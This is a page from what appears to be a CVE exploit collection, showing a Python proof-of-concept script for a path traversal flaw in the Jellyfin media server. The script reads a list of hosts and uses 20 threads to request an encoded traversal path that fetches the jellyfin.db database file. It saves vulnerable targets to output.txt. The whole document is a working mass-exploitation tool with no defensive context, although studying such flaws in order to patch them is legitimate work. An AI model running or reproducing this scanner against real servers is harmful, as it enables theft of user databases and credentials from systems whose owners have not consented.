4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / POC.py PY
import requests
import sys
import threadpool
from requests.packages.urllib3.exceptions import InsecureRequestWarning


filename = sys.argv[1]


def POC(url):
    vulpath = "/Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/"
    target = "http://" + url + vulpath
    # print("正在请求:".format(target))
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "accept": "application/json",
        "Accept-Encoding":"gzip, deflate",

    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(target,headers=headers)
        if response.status_code == 200:
            print("success!",target)
            output.append(target)
        else:
            pass
    except:
        pass



if __name__ == '__main__':
    output = []
    works = []
    f = open(filename,'r')
    lines = f.readlines()
    for line in lines:
        works.append(line[:-1])
        
    pool = threadpool.ThreadPool(20)
    reqs = threadpool.makeRequests(POC,works)
    [pool.putRequest(req) for req in reqs]
    pool.wait()
    
    ff = open("output.txt",'w')
    for vunltarget in output:
        ff.write(vunltarget+"\n")

    ff.close()
    print("扫描结束!")